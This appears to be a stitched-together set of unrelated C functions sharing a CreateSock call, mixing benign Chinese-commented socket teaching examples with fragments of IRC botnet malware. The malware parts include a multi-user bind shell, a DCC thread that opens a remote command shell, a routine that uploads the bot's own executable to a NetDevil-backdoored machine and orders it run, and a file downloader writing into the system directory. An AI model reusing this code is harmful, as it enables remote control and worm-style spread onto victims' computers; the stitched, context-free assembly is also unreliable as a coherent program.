int main() { int nSock, nSock1; pid_t nChild; char buf[2048], szAddr[30]; memset(buf, 0, sizeof(buf)); ASSERT(CreateSock(&nSock, 9001, 9) == 0); while(1) { ASSERT(AcceptSock(&nSock1, nSock) == 0); nChild = fork(); if (nChild == 0) { break; } close(nSock1); } close(nSock); memset(szAddr, 0, sizeof(szAddr)); LocateRemoteAddr(nSock1, szAddr); recv(nSock1, buf, sizeof(buf), 0); PrintLog(stderr, buf); sprintf(buf, "HTTP/1.1 200 OK\n%s%s%s", szHtml1, szAddr, szHtml2); send(nSock1, buf, strlen(buf), 0); PrintLog(stderr, buf); close(nSock1); }
int main(int argc, char *argv[]) { int nListenSock = -1, nLocalSock = -1, nRemoteSock = -1; pid_t nChild; if (argc != 2) /* 命令行参数:“proxy1 本地端口” */ { PrintLog(stdout, "proxy1 LOCALPORT\n"); return 1; } /* ---------------------------父进程------------------------------- */ /* ① 创建侦听套接字 */ ASSERT(CreateSock(&nListenSock, atoi(argv[1]), 8) == 0); PrintLog(stdout, "listen service: service is activated."); InitServer(); /* ② 进程转后台运行 */ while (1) { /* ③ 等待并创建连接套接字 */ if (!VERIFY(AcceptSock(&nLocalSock, nListenSock) == 0)) continue; /* ③ 继续等待 */ VERIFY((nChild = fork()) >= 0); /* ④ 创建子进程 */ if (nChild == 0) break; /* 子进程跳转到子进程代码 */ close(nLocalSock); /* ⑤ 父进程关闭连接套接字 */ } /* ---------------------------子进程------------------------------- */ close(nListenSock); /* ⑦ 子进程关闭侦听套接字 */ /* 解析HTTP报文头,并与目标服务器建立连接 */ if (HttpConnect(nLocalSock, &nRemoteSock) == 0) SendReciveServer(nLocalSock, nRemoteSock); /* 通信转发 */ if (nLocalSock >= 0) close(nLocalSock); /* ⑨ 子进程关闭本地端套接字 */ if (nRemoteSock >= 0) close(nRemoteSock);/* ⑨ 子进程关闭目标端套接字 */ }
int WINAPI StartShell() { SOCKET csock,ssock; struct sockaddr_in client_addr; HANDLE hThread[99]; int iSize; DWORD ThreadID; iSize=sizeof(struct sockaddr_in); ssock=CreateSock(); while(nUser<99) { csock=accept(ssock,(sockaddr *)&client_addr,&iSize); if(csock==INVALID_SOCKET) return 1; hThread[nUser]=CreateThread(0,0,(LPTHREAD_START_ROUTINE)Interactive,(VOID *)csock,0,&ThreadID); if(hThread[nUser]==0) { closesocket(csock); } else nUser++; } WaitForMultipleObjects(99,hThread,TRUE,INFINITE); WSACleanup(); return 0; }
int main20(int argc, char * argv[]) { if (argc != 3) { return 1; } int nLisSock, nSockVar[MAX];/*侦听套接字与连接套接字描述符数组*/ int i, n = 0, ret; char buf[1024];/*接收套接字输入缓冲*/ fd_set fdset;/*文件描述符集合*/ struct timeval waittime;/*超时时间*/ CreateSock(&nLisSock, atoi(argv[2]), MAX);/*创建侦听套接字*/ while (1) { /*---------------------1.创建套接字描述符集合--------------*/ FD_ZERO(&fdset); FD_SET(nLisSock, &fdset);/*监视侦听套接字*/ for (i = 0; i < n; i++) { FD_SET(nSockVar[i], &fdset);/*监视连接套接字*/ } /*---------------------2.准备超时时间---------------------*/ waittime.tv_sec = 0;/*超时时间设为0.1秒*/ waittime.tv_usec = 100000; /*---------------------3.调用select,检查返回--------------*/ ret = select(nSockVar[n-1]+1, &fdset, NULL, NULL, &waittime); if (ret == 0) { continue;/*超时时间*/ }else if (ret == -1)break;/*错误*/ /*产生了套接字连接或数据发送请求*/ /*---------------------4.侦听套接字接收连接申请--------------*/ if (FD_ISSET(nLisSock, &fdset)) { /*创建套接字描述符nSockVar[n] 与客户端套接字建立连接*/ if ((nSockVar[n] = accept(nLisSock, NULL, NULL)) > 0) { n++; } }else{ for (i = 0; i < n; i++) {/*遍历连接套接字,判断并读入数据*/ /*----------------4.套接字数据收发------------------*/ if (FD_ISSET(nSockVar[i], &fdset)) { /*从连接套接字中读入数据*/ memset(buf, 0, sizeof(buf)); read(nSockVar[i], buf, sizeof(buf)); /*--------------------其他处理代码开始----------*/ /*------------------其他处理代码完毕-------------*/ }/*FD_ISSET*/ }/*for*/ }/*else*/ } return 0; }
DWORD WINAPI DCCChatThread(LPVOID param) { DCC dcc = *((DCC *)param); DCC *dccs = (DCC *)param; dccs->gotinfo = TRUE; char buffer[4096]; SOCKET ssock; if ((ssock = CreateSock(dcc.host,dcc.port)) == INVALID_SOCKET) { sprintf(buffer,"[DCC]: Failed to open socket."); if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice); addlog(buffer); clearthread(dcc.threadnum); ExitThread(1); } if (open_cmd(ssock,"") == -1) { sprintf(buffer,"[DCC]: Failed to open remote command shell."); if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice); addlog(buffer); fclosesocket(ssock); clearthread(dcc.threadnum); ExitThread(1); } Sleep(100); while (1) { memset(buffer, 0, sizeof(buffer)); if (frecv(ssock, buffer, sizeof(buffer), 0) <= 0) break; strcat(buffer,"\n"); if (!send_commands(buffer)) break; Sleep(100); if (findthreadid(RCMD_THREAD) == 0) break; } sprintf(buffer,"[DCC]: Failed to send to Remote command shell."); if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice); addlog(buffer); fclosesocket(ssock); clearthread(dcc.threadnum); ExitThread(0); }
int main() { int nSock,nSock1; char buf[2048]; //创建端口号为9001的侦听套接字 VERIFY(CreateSock(&nSock,9001,9) != 0, "Create Listen SOCKET"); //接收客户端连接申请,创建连接套接字nSock1 VERIFY(AcceptSock(&nSock1,nSock) != 0,"Link"); memset(buf,0,sizeof(buf)); //接收客户端发送的TCP数据消息 recv(nSock1,buf,sizeof(buf),0); fprintf(stderr,buf); close(nSock); //关闭侦听套接字 close(nSock1); //关闭连接套接字 return 0; }
int NetDevil_Upload(char *IP, SOCKET ssock) { SOCKET nsock; char buffer[1024], botfile[MAX_PATH], rFile[MAX_PATH]; int port = 0,bytes_sent = 0; unsigned int Fsend = 1024, Fsize, move; DWORD mode = 0; BOOL ver15 = FALSE; GetModuleFileName(NULL, botfile, sizeof(botfile)); fsend(ssock, "version", 7, 0); memset(buffer,0,sizeof(buffer)); frecv(ssock, buffer, sizeof(buffer), 0); if (strlen(buffer) > 5) { buffer[strlen(buffer)-2] = '\0'; char *uPort = strrchr(buffer, '\n\r'); if (uPort != NULL) port = atoi(uPort); } char *ver = strtok(buffer,"\n\r"); if (strcmp(buffer,"ver1.5") == 0) ver15 = TRUE; sprintf(rFile,"C:\\%s",filename); port = ((port == 0)?(903):(port)); if ((nsock = CreateSock(IP,port)) == INVALID_SOCKET) goto end; HANDLE testfile; if ((testfile = CreateFile(botfile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0)) == INVALID_HANDLE_VALUE) goto end; Fsize = GetFileSize(testfile,NULL); if (ver15) sprintf(buffer,"cmd[003]%s|%i|\n\r",rFile,Fsize); else sprintf(buffer,"%s\r1",rFile); fsend(nsock, buffer, strlen(buffer), 0); if (frecv(nsock, buffer, sizeof(buffer), 0) < 1) goto end; while (Fsize) { memset(buffer,0,sizeof(buffer)); if (Fsend>Fsize) Fsend=Fsize; move = 0-Fsize; SetFilePointer(testfile, move, NULL, FILE_END); ReadFile(testfile, buffer, Fsend, &mode, NULL); bytes_sent = fsend(nsock, buffer, Fsend, 0); if (bytes_sent == SOCKET_ERROR) { if (fWSAGetLastError() != WSAEWOULDBLOCK) goto end; else bytes_sent = 0; } Fsize = Fsize - bytes_sent; if (!ver15 && frecv(nsock, buffer, sizeof(buffer), 0) < 1) goto end; } if (testfile != INVALID_HANDLE_VALUE) CloseHandle(testfile); fclosesocket(nsock); Sleep(2000); sprintf(buffer,"pleaz_run%s",rFile); fsend(ssock, buffer,strlen(buffer), 0); memset(buffer,0,sizeof(buffer)); if (frecv(nsock, buffer, sizeof(buffer), 0) < 1) goto end; if (strcmp(buffer,"pleaz_run_done") != 0) goto end; Sleep(4000); fclosesocket(ssock); return 1; end:; fclosesocket(nsock); fclosesocket(ssock); return 0; }
DWORD WINAPI DCCGetThread(LPVOID param) { DCC dcc = *((DCC *)param); DCC *dccs = (DCC *)param; dccs->gotinfo = TRUE; char sendbuf[IRCLINE],buffer[4096],tmpfile[MAX_PATH];; int received = 0; unsigned long received2; FILE *infile; SOCKET ssock; GetSystemDirectory(tmpfile, sizeof(tmpfile)); sprintf(tmpfile,"%s%s",tmpfile,dcc.filename); while (1) { HANDLE testfile = CreateFile(tmpfile,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); if (testfile == INVALID_HANDLE_VALUE) { sprintf(sendbuf,"[DCC]: Error unable to write file to disk."); break; } CloseHandle(testfile); if ((infile = fopen(tmpfile,"a+b")) == NULL) { sprintf(sendbuf,"[DCC]: Error opening file for writing."); break; } if ((ssock = CreateSock(dcc.host,dcc.port)) == INVALID_SOCKET) { sprintf(sendbuf,"[DCC]: Error opening socket."); break; } DWORD err = 1; while (err != 0) { memset(buffer,0,sizeof(buffer)); err = frecv(ssock, buffer, sizeof(buffer), 0); if (err == 0) break; if (err == SOCKET_ERROR) { sprintf(sendbuf,"[DCC]: Socket error."); irc_privmsg(dcc.sock,dcc.sendto,sendbuf,dcc.notice); addlog(sendbuf); fclose(infile); fclosesocket(ssock); clearthread(dcc.threadnum); ExitThread(1); } fwrite(buffer,1,err,infile); received = received + err; received2 = fhtonl(received); fsend(ssock,(char *)&received2 , 4, 0); } sprintf(sendbuf,"[DCC]: Transfer complete from IP: %s, Filename: %s (%s bytes).",dcc.host,dcc.filename,commaI64(received)); break; } if (!dcc.silent) irc_privmsg(dcc.sock,dcc.sendto,sendbuf,dcc.notice); addlog(sendbuf); if (infile != NULL) fclose(infile); if (ssock > 0) fclosesocket(ssock); clearthread(dcc.threadnum); ExitThread(0); }